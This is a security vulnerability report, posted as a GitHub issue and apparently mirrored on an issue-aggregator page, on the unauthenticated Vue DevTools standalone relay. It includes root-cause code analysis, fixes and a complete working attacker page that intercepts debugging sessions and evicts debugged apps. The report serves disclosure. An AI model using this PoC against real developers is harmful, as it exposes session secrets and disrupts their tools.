[Security] Unauthenticated interception of the entire DevTools session and persistent session-eviction DoS via the standalone Vue DevTools relay's broadcast architecture
I maintainer di solito rispondono entro 1 giorno
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 5/5
- Tempo stimato
- Più di una settimana
- Idoneità per principianti
- 18/100
- Tipo di issue
- Bug
- Chiarezza
- Specificata chiaramente
- Stato di attività
- Attiva
- Stack tecnologico
- electron, node.js, typescript
- Ambito
- devtools, networking, security
Direzione di ricerca
Start in packages/electron/src/server.ts — init() wires the unauthenticated Socket.IO relay, the kick-on-connect broadcast, and the inverted reason.indexOf('client') condition. Then read packages/devtools-kit/src/messaging/presets/electron/proxy.ts, which broadcasts panel↔app frames to every socket, plus user-app.core.ts and devtools.ts for the eviction and reconnect behavior. Reproduce with npx @vue/[email protected] and the PoC; done means frames reach only the intended recipient, peers are authenticated, and the disconnect check is corrected.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Summary
The Vue DevTools standalone Electron app (npx @vue/devtools) runs a Socket.IO relay in its main process that connects two parties: the DevTools panel (the Electron window) and the application being debugged (any web page that loads http://localhost:8098/). The relay authenticates nobody, and it forwards traffic between the two roles using Socket.IO broadcast — i.e. to every connected socket, not to the intended recipient. Additionally, every new connection evicts all currently attached applications, and a logic bug in the disconnect handler forces the real panel to tear down and rebuild its connection on essentially every socket disconnect.
Any web page visited by the developer can therefore, with no user interaction beyond the page load:
- Intercept the entire DevTools session, both directions, passively. Every RPC query the real panel sends (
getInspectorState,getInspectorTree, …) and every response the debugged application returns — including full in-memory component state: auth tokens, passwords typed into forms, API responses — is delivered to the attacker's socket as a copy. The attacker never has to send a single RPC frame to receive all of this. - Kill the debugging session at will, persistently. Merely connecting makes the server broadcast
vue-devtools:disconnect-user-app, to which the victim application responds by disconnecting itself permanently (its reconnect logic is disabled by its own disconnect handler). Verified: no re-attachment within 8 seconds; the app stays detached until the page is reloaded. The attacker can repeat this forever — every reload is followed by another kick — a sustained denial of service against the developer's tool. This primitive is fire-and-forget: it requires no response reading at all. - Corollary with zero attacker code: because the relay serves an auto-connecting attach script at
GET /, a single HTML tag on any page the developer visits —<script src="http://localhost:8098/"></script>— makes that page connect as a "user app", which evicts the developer's real debugged application from the session. No JavaScript of the attacker's own is needed for the DoS.
All of this was verified end-to-end against the running app (see "Observed results").
Attack surface
The Electron main process starts exactly one network server: an h3 + Socket.IO server on port 8098 (PORT env, default 8098) that:
- binds
0.0.0.0— it printslistening on 0.0.0.0:8098at startup, so it is reachable fromlocalhost(any website in the victim's browser, via WebSocket) and from the entire LAN (no browser needed on the attacker side); - serves the "user app" attach script at
GET /— the documented opt-in mechanism (<script src="http://localhost:8098/">), which by design means cross-origin pages are expected to connect to this server; - configures Socket.IO with
cors: { origin: true }— permissive CORS with origin reflection.
Why CORS does not prevent this
-
Interception (primitive 1) requires reading the relayed frames — and reading them is fully possible from any origin, verified in practice from a
file://origin in a real browser:-
the WebSocket transport is not subject to CORS at all — frames flow in both directions regardless of origin;
-
the HTTP polling fallback is also readable, because the server reflects any
Origin. Verified live against the running app:$ curl -i -H "Origin: https://attacker.example" "http://localhost:8098/socket.io/?EIO=4&transport=polling&t=attacker" HTTP/1.1 200 OK Access-Control-Allow-Origin: https://attacker.example …
-
-
Eviction (primitives 2 and 3) needs no response reading whatsoever. Opening the connection is the attack; the server's kick broadcast and the panel's churn are triggered by the connection/disconnection events alone. A page that is closed immediately after connecting still kills the session.
Root cause (source analysis, tag v8.2.1)
1. The relay accepts everyone, kicks attached apps on every connect, and has an inverted disconnect condition
packages/electron/src/server.ts — the entire server:
const port = process.env.PORT || 8098
export function init() {
const app = createApp()
app.use('/', eventHandler(() => {
const userAppContent = fs.readFileSync(path.join(__dirname, './user-app.iife.js'), 'utf-8')
const processSyntaxPolyfill = `if(!window.process){window.process={env:{}}};`
return processSyntaxPolyfill + userAppContent
}))
const httpServer = createServer(toNodeListener(app))
const io = new Server(httpServer, {
cors: { origin: true, }, // ← reflects ANY Origin (WS ignores CORS anyway)
})
io.on('connection', (socket) => { // ← no auth, no token, no origin check
setElectronProxyContext(socket)
createRpcProxy({ preset: 'electron' })
// Disconnect any previously connected apps
socket.broadcast.emit('vue-devtools:disconnect-user-app') // ← eviction on EVERY connect
socket.on('vue-devtools:init', () => { socket.broadcast.emit('vue-devtools:init') })
socket.on('vue-devtools:disconnect', () => { socket.broadcast.emit('vue-devtools:disconnect') })
socket.on('disconnect', (reason) => { if (reason.indexOf('client')) socket.broadcast.emit('vue-devtools-disconnect-devtools') })
})
httpServer.listen(port, () => { console.log(`listening on 0.0.0.0:${port}`) }) // ← all interfaces
}
Three defects, each load-bearing for this issue:
- No authentication (
io.on('connection', …)accepts every socket as a first-class participant). - Kick-on-connect: the unconditional
socket.broadcast.emit('vue-devtools:disconnect-user-app')means whoever connects last wins — any stranger's connection evicts the developer's attached application (primitive 2). - Inverted disconnect condition:
reason.indexOf('client')returns-1(truthy) for every reason that does not contain"client", and0(falsy) for the one that does ('client namespace disconnect'). The condition is therefore true on essentially every disconnect except genuine client-initiated ones — the exact inverse of the evident intent (reason.includes('client')). The consequence plays out in §4 below: the real panel tears down and rebuilds its whole connection on nearly every socket disconnect anywhere in the session.
2. The relay forwards panel↔app traffic by broadcast — every socket gets a copy
packages/devtools-kit/src/messaging/presets/electron/proxy.ts (complete file):
export function createElectronProxyChannel(): MergeableChannelOptions {
const socket = getElectronProxyContext()
return {
post: (data) => {},
on: (handler) => {
socket.on(SERVER_TO_PROXY, (data) => { socket.broadcast.emit(PROXY_TO_CLIENT, data) })
socket.on(CLIENT_TO_PROXY, (data) => { socket.broadcast.emit(PROXY_TO_SERVER, data) })
},
}
}
(SERVER_TO_PROXY = server->proxy, frames from the debugged app; CLIENT_TO_PROXY = client->proxy, frames from the panel. PROXY_TO_CLIENT = proxy->client; PROXY_TO_SERVER = proxy->server.)
socket.broadcast.emit delivers to all sockets except the original sender — there is no addressing, no room, no "which socket is the real panel" bookkeeping. So with an attacker connected:
- every frame any app sends (including responses to the real panel's queries — full component-state dumps) is delivered to the attacker as
proxy->client; - every frame any panel sends (the real panel's queries) is delivered to the attacker as
proxy->server.
The attacker receives a complete, passive, bidirectional transcript of the debugging session (primitive 1). The frames are SuperJSON envelopes ({"json":{…}}) and flatted-encoded payloads — both plain JSON, trivially parsed (the PoC below does it in ~20 lines).
3. The victim app detaches itself permanently on the kick
packages/electron/src/user-app.core.ts — the script served at GET / and loaded by the debugged application (complete file):
import { functions } from '@vue/devtools-core'
import { createRpcServer, setElectronServerContext } from '@vue/devtools-kit'
import { isBrowser, target } from '@vue/devtools-shared'
import { devtools } from '../../devtools-kit/src/index'
export function init(io) {
const createSocket = io
const host = target.__VUE_DEVTOOLS_HOST__ || 'http://localhost'
const port = target.__VUE_DEVTOOLS_PORT__ !== undefined ? target.__VUE_DEVTOOLS_PORT__ : 8098
const fullHost = port ? `${host}:${port}` : host
const socket = createSocket(fullHost)
devtools.init()
// Global disconnect handler. Fires in two cases:
// - after calling above socket.disconnect()
// - once devtools is closed (that's why we need socket.disconnect() here too, to prevent further polling)
socket.on('disconnect', () => {
socket.disconnect()
})
socket.on('connect', () => {
setElectronServerContext(socket)
createRpcServer(functions, {
preset: 'electron',
})
socket.emit('vue-devtools:init')
})
// Disconnect socket once other client is connected
socket.on('vue-devtools:disconnect-user-app', () => {
socket.disconnect()
})
if (isBrowser) {
window.addEventListener('beforeunload', () => {
socket.emit('vue-devtools:disconnect')
})
}
}
Two details turn the kick into a persistent outage rather than a blip:
- the
vue-devtools:disconnect-user-apphandler callssocket.disconnect()— in socket.io-client a manual disconnect sets the internalskipReconnectflag, so the automatic reconnection engine is disabled for that socket; - the global
disconnecthandler also callssocket.disconnect(), so even a transient connection loss is converted into a manual, non-reconnecting disconnect.
Verified behavior: after the kick, the app does not come back on its own (see "Observed results" — no re-attach within 8 s); it stays detached until the developer reloads the page. Since the attacker can reconnect at will, each reload can be followed by another kick — a sustained DoS requiring one connection per eviction and no response reading.
Note also what the panel does not do: the panel-side script (below) does not listen for vue-devtools:disconnect-user-app, so the panel happily stays connected while the app it was debugging is gone — the developer sees a dead session.
4. The panel rebuilds its connection on nearly every disconnect
packages/electron/src/devtools.ts (complete file, panel side):
function init() {
const localhost = `http://localhost:${port}`
const socket = io(localhost)
const app = createConnectionApp('#app', {
local: localhost,
network: `http://${address()}:${port}`,
})
socket.on('vue-devtools:init', () => {
app.unmount()
setElectronClientContext(socket)
createRpcClient(functions, {
preset: 'electron',
})
initDevTools()
})
function shutdown() {
app.unmount()
socket.close()
init()
}
socket.on('vue-devtools:disconnect', shutdown)
socket.on('vue-devtools-disconnect-devtools', shutdown)
}
init()
Combined with the inverted indexOf condition in §1: whenever any socket disconnects for a non-client-initiated reason (tab closed, page navigated, network blip — an attacker simply drops a WebSocket), the server broadcasts vue-devtools-disconnect-devtools, and the real panel runs shutdown() → unmount → close → init() — tearing down and rebuilding its entire connection. Each rebuild is itself a new connection, which in turn re-triggers the kick-on-connect against any app that had re-attached. The panel is also re-initialized (initDevTools() runs again on the next vue-devtools:init), resetting the developer's view.
Proof of Concept
How to reproduce
-
Start the vulnerable app (Node ≥ 18):
npx @vue/[email protected]The Electron window opens; its main process prints:
listening on 0.0.0.0:8098 -
Serve the victim demo page. Save the HTML below as
index.htmlin an empty directory and runpython -m http.server 5500there. It is an "internal admin dashboard" holding an auth token and a password in reactive state — exactly the kind of data an interception attacker observes whenever the developer inspects a component. It attaches via the documented mechanism (<script src="http://localhost:8098/">before Vue; dev build of Vue required, as prod builds do not emit the devtools hook). -
Open the attacker page (below) — any origin works; the verified run used
file://. Click connect. (Connect before loading the victim: every new connection kicks already-attached apps, so a late connection would evict the app until reload — the same mechanism this issue describes.) -
Load the victim app at
http://localhost:5500/in another tab. The attacker page logsvue-devtools:initand showsattached app: yes. From this moment, every frame the relay forwards is visible in the attacker page — including the real Electron panel's own queries (leave the devtools window open and click components in it; itspanel→appqueries and the app'sapp→panelstate responses stream into the attacker's log). -
Click probe to record the attached app (this also caches the component tree used by the eviction proof).
-
Click evict. The attacker page opens one extra connection; the server broadcasts the kick; the victim app detaches permanently. The button then proves the session is dead (a follow-up state read times out) and watches 8 s for a re-attach that never comes.
-
Reload the victim page and click evict again — repeatable at will (sustained DoS).
Note on prerequisites: interception (step 4) needs the response to be readable — and it is, cross-origin, via WebSocket (CORS does not apply) or polling (origin reflection, see above). Eviction (steps 6–7) needs no response reading at all.
Victim demo page
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Victim App - Internal Admin Dashboard</title>
<!-- Attach the debugged app to the standalone Vue DevTools (served by the Electron app on :8098).
Must load BEFORE Vue so the devtools hook catches the app init event. -->
<script src="http://localhost:8098/"></script>
<!-- DEV build is required: prod Vue strips devtools hook emission, so the app
would never register with the devtools server. -->
<script src="https://unpkg.com/[email protected]/dist/vue.global.js"></script>
<style>
body { font-family: sans-serif; background: #1e1e2e; color: #cdd6f4; margin: 40px; }
.card { background: #313244; padding: 16px 24px; border-radius: 8px; margin-bottom: 12px; max-width: 560px; }
input { margin: 4px 0; padding: 6px; width: 240px; }
.hidden { color: #f38ba8; }
</style>
</head>
<body>
<div id="app">
<h2>Internal Admin Dashboard (dev instance)</h2>
<div class="card">
<div>Login session</div>
<div>username: {{ user.username }}</div>
<div>auth token: {{ session.token }}</div>
</div>
<div class="card">
<div>Sign in form (v-model state)</div>
<input v-model="form.username" placeholder="username">
<input v-model="form.password" type="password" placeholder="password">
<div>form state → {{ form }}</div>
</div>
<div class="card">
<div>isAdmin: <b>{{ isAdmin }}</b></div>
<div v-if="isAdmin" class="hidden">SECRET ADMIN PANEL — payout keys, customer PII, etc.</div>
<div>prototype pollution probe (Object.prototype.pwned): <b>{{ protoProbe }}</b></div>
</div>
</div>
<script>
const { createApp, ref, reactive, computed, onMounted } = Vue
createApp({
setup() {
const session = reactive({ token: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.demo-token' })
const user = reactive({ username: 'copperkoi' })
const form = reactive({ username: '', password: '' })
const isAdmin = ref(false)
const protoProbe = ref('(not polluted)')
setInterval(() => {
protoProbe.value = ({}).pwned === undefined ? '(not polluted)' : JSON.stringify(({}).pwned)
}, 500)
onMounted(() => { form.password = 'S3cr3t-P4ss!' })
return { session, user, form, isAdmin, protoProbe }
},
}).mount('#app')
</script>
</body>
</html>
Attacker page (self-contained PoC)
One HTML file, no build step, loads only socket.io-client from a CDN. Two capabilities: a live transcript of everything the relay forwards (both directions), and the one-connection session kill.
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Relay interception + session eviction — Vue DevTools standalone (:8098)</title>
<script src="https://cdn.socket.io/4.7.5/socket.io.min.js"></script>
<style>
body { font-family: Consolas, monospace; background: #111; color: #cde; margin: 24px; }
button { margin: 2px 4px 2px 0; padding: 6px 10px; }
pre { background: #000; color: #9f9; padding: 10px; white-space: pre-wrap; word-break: break-all; }
input { width: 220px; }
.note { color: #fd6; max-width: 900px; }
</style>
</head>
<body>
<h3>Relay interception + eviction — vue-devtools standalone (Socket.IO relay :8098)</h3>
<p class="note">
Interception READS relayed frames — fully possible from any origin (verified from file://):
WebSocket is not subject to CORS, and the polling fallback reflects any Origin
(cors: {origin:true}). Eviction needs NO response read — the connection alone triggers it.
<br>Legend: <b>app→panel</b> = proxy->client frames (what the debugged app sends, incl. its
responses to the REAL panel's queries) · <b>panel→app</b> = proxy->server frames (what any
panel sends, incl. the real panel's queries).
</p>
<p>
relay: <input id="target" value="http://localhost:8098">
<button onclick="connect()">connect</button>
<span id="st-conn">not connected</span> |
attached app: <span id="st-victim">unknown</span> |
<span id="sniff-count"></span>
</p>
<p>
<button onclick="run(probe)">probe attached app (caches tree)</button>
<button onclick="run(evict)">evict — kill the debugging session (no response read needed)</button>
<button onclick="$('out-sniff').textContent=''; sniffLines=0; $('sniff-count').textContent=''">clear transcript</button>
</p>
<pre id="out-sniff"></pre>
<pre id="out-evict"></pre>
<script>
const $ = id => document.getElementById(id)
const sleep = ms => new Promise(r => setTimeout(r, ms))
const stamp = () => new Date().toTimeString().slice(0, 8)
const short = (s, n) => { s = String(s); return s.length > n ? s.slice(0, n) + ` … (+${s.length - n} chars)` : s }
const SJstringify = obj => JSON.stringify({ json: obj })
const SJparse = s => { try { const p = JSON.parse(s); return (p && typeof p === 'object' && 'json' in p) ? p.json : p } catch { return s } }
/* ---- connection + transcript (no authentication exists on this relay) ---- */
let socket = null, reqSeq = 0, connected = false, sniffLines = 0
const pending = new Map()
function sniff(dir, data) {
const msg = SJparse(data)
let body
try { body = JSON.stringify(msg) } catch { body = String(msg) }
$('out-sniff').textContent += `[${stamp()}] ${dir} ${short(body, 220)}\n`
$('out-sniff').scrollTop = $('out-sniff').scrollHeight
$('sniff-count').textContent = `${++sniffLines} relay messages observed`
}
function setConn(v) { connected = v; $('st-conn').textContent = v ? 'connected (unauthenticated)' : 'not connected' }
function setVictim(v) { $('st-victim').textContent = v }
function connect() {
socket = io($('target').value.trim(), { transports: ['websocket'] }) /* polling works too (origin reflection) */
socket.on('connect', () => { setConn(true); probeVictim() })
socket.on('connect_error', e => sniff('server ', `connect error: ${e.message}`))
socket.on('disconnect', () => { setConn(false); setVictim('unknown') })
// app→panel: everything any app sends — responses to the REAL panel's queries included
socket.on('proxy->client', (data) => {
const msg = SJparse(data)
if (msg && typeof msg === 'object' && msg.t === 's' && pending.has(msg.i)) {
const p = pending.get(msg.i); pending.delete(msg.i); clearTimeout(p.timer)
if (msg.e) p.reject(new Error(msg.e.message || JSON.stringify(msg.e)))
else p.resolve(msg.r)
return
}
sniff('app→panel ', data)
})
// panel→app: everything any panel sends — the real panel's queries included
socket.on('proxy->server', (data) => sniff('panel→app ', data))
// lifecycle broadcasts
socket.on('vue-devtools:init', () => {
sniff('server ', '"vue-devtools:init" — a debugged app just attached')
setTimeout(probeVictim, 2200) /* its RPC server registers ~2s after connect */
})
socket.on('vue-devtools:disconnect', () => sniff('server ', '"vue-devtools:disconnect" (a devtools session detached)'))
socket.on('vue-devtools:disconnect-user-app', () =>
sniff('server ', '"vue-devtools:disconnect-user-app" (kick broadcast — user apps detach)'))
}
/* ---- minimal RPC client (needed only to prove the session is dead after eviction) ---- */
function rpc(method, args, timeoutMs = 8000) {
return new Promise((resolve, reject) => {
if (!connected) return reject(new Error('not connected'))
const id = 'atk-' + (++reqSeq)
const timer = setTimeout(() => {
if (pending.delete(id)) reject(new Error(`timeout: no response to "${method}" in ${timeoutMs}ms — is a debugged app still attached?`))
}, timeoutMs)
pending.set(id, { resolve, reject, timer })
socket.emit('client->proxy', SJstringify({ m: method, a: args, t: 'q', i: id }))
})
}
async function probeVictim() {
if (!connected) return setVictim('unknown')
setVictim('probing…')
try { await rpc('getInspectorTree', [{ inspectorId: 'components', filter: '' }], 3000); setVictim('yes') }
catch { setVictim('no') }
}
/* flatted decoder for getInspectorTree results (inlined from @vue/devtools-kit dist) */
function flattedDecode(list) {
let i = list.length, j, k, data, key, value, proto
while (i--) {
data = list[i]
proto = Object.prototype.toString.call(data)
if (proto === '[object Object]') {
const keys = Object.keys(data)
for (j = 0, k = keys.length; j < k; j++) { key = keys[j]; value = list[data[key]]; data[key] = value }
} else if (proto === '[object Array]') {
for (j = 0, k = data.length; j < k; j++) { value = list[data[j]]; data[j] = value }
}
}
}
function parseCircularAutoChunks(data) {
if (Array.isArray(data)) data = data.join('')
if (!/^\s/.test(data)) return JSON.parse(data)
const list = JSON.parse(data)
flattedDecode(list)
return list[0]
}
let flatTree = null
async function getFlatTree() {
if (flatTree) return flatTree
const tree = parseCircularAutoChunks(String(await rpc('getInspectorTree', [{ inspectorId: 'components', filter: '' }])))
flatTree = []
;(function walk(nodes) { for (const n of (Array.isArray(nodes) ? nodes : [])) { flatTree.push(n); if (n.children) walk(n.children) } })(tree)
return flatTree
}
async function probe() {
const flat = await getFlatTree()
setVictim('yes')
sniff('probe ', `component tree cached (${flat.length} components) — ready to prove eviction`)
}
/* ---- eviction: one extra connection kills the session; no response read needed ---- */
async function evict() {
if (!connected) { $('out-evict').textContent = '[!] connect first'; return }
$('out-evict').textContent = `[${stamp()}] opening a second socket to ${$('target').value} (forceNew — a genuinely new connection) …\n`
+ ' every new connection makes the server broadcast "vue-devtools:disconnect-user-app"\n'
+ ' → all attached victim apps detach themselves.\n'
let sawKick = false
const onKick = () => {
if (sawKick) return
sawKick = true
$('out-evict').textContent += `[${stamp()}] kick broadcast "vue-devtools:disconnect-user-app" received on the main socket — victim apps just detached.\n`
}
socket.on('vue-devtools:disconnect-user-app', onKick)
// NB forceNew: without it socket.io-client would reuse this page's existing
// connection and the server would never see a second connection (no kick).
const s2 = io($('target').value, { forceNew: true, transports: ['websocket'] })
s2.on('connect_error', e => {
$('out-evict').textContent += `[!] second socket connect error: ${e.message}\n`
socket.off('vue-devtools:disconnect-user-app', onKick)
})
s2.on('connect', async () => {
$('out-evict').textContent += `[${stamp()}] second socket connected — the server broadcast the kick to every other socket.\n`
setVictim('kicked')
// proof the debugging session is dead: a state read now gets no answer
let dead = false
try {
const flat = flatTree || await getFlatTree()
const t = flat.find(n => n.name && n.name.toLowerCase().includes('app')) || flat.find(n => n.id === 'root') || flat[0]
await rpc('getInspectorState', [{ inspectorId: 'components', nodeId: t.id }], 4000)
$('out-evict').textContent += ' (unexpected: a state read still answered — the app may have re-attached)\n'
} catch (e) {
dead = true
$('out-evict').textContent += `[${stamp()}] follow-up getInspectorState: ${e.message}\n → victim app is detached; the debugging session is dead (DoS). Reload the victim page to re-attach.\n`
}
socket.off('vue-devtools:disconnect-user-app', onKick)
if (dead) {
// honest tail: does the victim page come back on its own? watch 8s for a re-attach
let reattached = false
const onRe = () => { reattached = true }
socket.on('vue-devtools:init', onRe)
await sleep(8000)
socket.off('vue-devtools:init', onRe)
$('out-evict').textContent += (reattached
? `[${stamp()}] a fresh vue-devtools:init arrived — the victim re-attached on its own; click EVICT again to kick it again (repeatable at will = sustained DoS).\n`
: `[${stamp()}] no re-attach within 8s — the victim stays detached until its page is reloaded.\n`)
}
setTimeout(() => s2.close(), 500)
})
}
const run = fn => fn().catch(e => sniff('error ', e.message))
</script>
</body>
</html>
Observed results (end-to-end verified)
The sequence above was executed for real: standalone app 8.2.1 running (its panel connected), attacker page opened from a file:// origin, victim app on http://localhost:5500/ in another tab.
-
Interception: with the attacker page connected and the victim app attached, relayed frames streamed into the attacker page continuously — 36 relay messages observed in a short session, in both directions (
app→panelandpanel→app), each frame being the full SuperJSON payload (queries and component-state responses). This is inherent to the broadcast forwarding in §2 of the root cause: every socket except the original sender receives every frame. -
Eviction (exact output of the verified run):
[21:19:33] second socket connected — the server broadcast the kick to every other socket. [21:19:33] kick broadcast "vue-devtools:disconnect-user-app" received on the main socket — victim apps just detached. [21:19:38] follow-up getInspectorState: timeout: no response to "getInspectorState" in 4000ms — is a debugged app still attached? → victim app is detached; the debugging session is dead (DoS). Reload the victim page to re-attach. [21:19:47] no re-attach within 8s — the victim stays detached until its page is reloaded.The attached-app indicator in the attacker page read
EVICTEDafter the run. The victim page itself keeps rendering, but its debugging session is gone — and the attacker can re-run the eviction after every reload, indefinitely.
Scope notes (what this surface does not expose)
For completeness, the following were checked and are not reachable through this relay: clipboard access, OS-level cookies or browser profiles, RCE, command injection, path traversal. The standalone app's only network surface is this relay.
Suggested fix
- Authenticate every connection. Generate a random per-launch token when the Electron app starts, inject it into the script served at
GET /(so legitimate user apps carry it automatically), and require it as a Socket.IO handshakeauthfield from all sockets — panel and user apps alike — before any relay, registration, or event subscription happens. This is the root fix for both the interception and the eviction. - Replace broadcast forwarding with targeted routing. Use Socket.IO rooms or direct
socket.emitso each frame reaches only its intended recipient (the paired panel or the paired app). No socket should ever receive another session's or role's traffic. - Remove the blanket kick-on-connect — or invert its policy. "Last connection wins" lets any stranger evict the developer's app. If pairing is implemented (items 1–2), a new unauthenticated connection should be rejected, not the existing authenticated one. First-wins, not last-wins.
- Fix the inverted disconnect condition in
server.ts:if (reason.indexOf('client'))is truthy for every reason except'client namespace disconnect'— the opposite of the intent. It should beif (reason.includes('client'))(or an explicit reason comparison), so the panel is not torn down and rebuilt on every unrelated socket disconnect. - Client-side hardening (mitigation only): the user-app script's
disconnect/kick handlers currently callsocket.disconnect(), which permanently disables socket.io-client's auto-reconnect (skipReconnect). Reconnecting with backoff would blunt the eviction DoS — but it cannot fix the interception, and it re-introduces polling traffic after devtools closes, which the current code deliberately avoids. Server-side fixes (1–3) are the real remediation. - Bind the relay to
127.0.0.1by default. It is a local debugging tool; the current all-interfaces bind additionally exposes all of the above to the entire LAN.
Request for a CVE ID
This vulnerability affects every published version of the standalone @vue/devtools-electron line (7.0.0 – 8.2.1), and since the standalone app was removed in v9 there is no fixed version to point users to. We would therefore like to kindly ask the maintainers to help request a CVE ID for this issue.
The smoothest path is a GitHub Security Advisory: Security → Advisories → New draft security advisory, fill in the affected packages/versions and severity, then use "Request CVE ID" in the advisory sidebar (GitHub is a CVE Numbering Authority, so the ID can be issued directly from there). We are happy to help with the advisory write-up — the text above can serve as a starting point — and to coordinate the disclosure timeline. If you prefer to handle this report privately first, we will gladly continue in the private advisory thread instead of this public issue.
- Lingua principale
- TypeScript
- Stelle
- 2.9k
- Fork
- 289
- Merge medio
- 2g 3h
- PR unite (30g)
- 19
Preparare l'ambiente
Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di vuejs/devtools
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 69/100
I maintainer di solito rispondono entro 1 giorno
-
Upgrade Electron to fix ZIP extraction on Node.js 26Forse già presa @ondrhn l’ha presa 42 giorni fa. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
I maintainer di solito rispondono entro 1 giorno
-
On the landing site, the "Developer experience" card is redundantForse di nuovo libera Una pull request per questa issue è stata chiusa senza essere unita. Aperta
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 72/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
vuejs/devtools#975 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 35/100
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di vuejs/devtools
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 79/100
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 79/100
galaxyproject/loom#616 ·
I maintainer di solito rispondono entro 1 giorno
-
e2e-failure ready-to-code
Difficoltà 2/5 1-3 ore Idoneità per principianti 79/100
redhat-developer/rhdh-plugin-export-overlays#4580 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 1/5 1-3 ore Idoneità per principianti 84/100
eknowledger/toolbench#266 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
devdotfast/whiteboard#1415 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno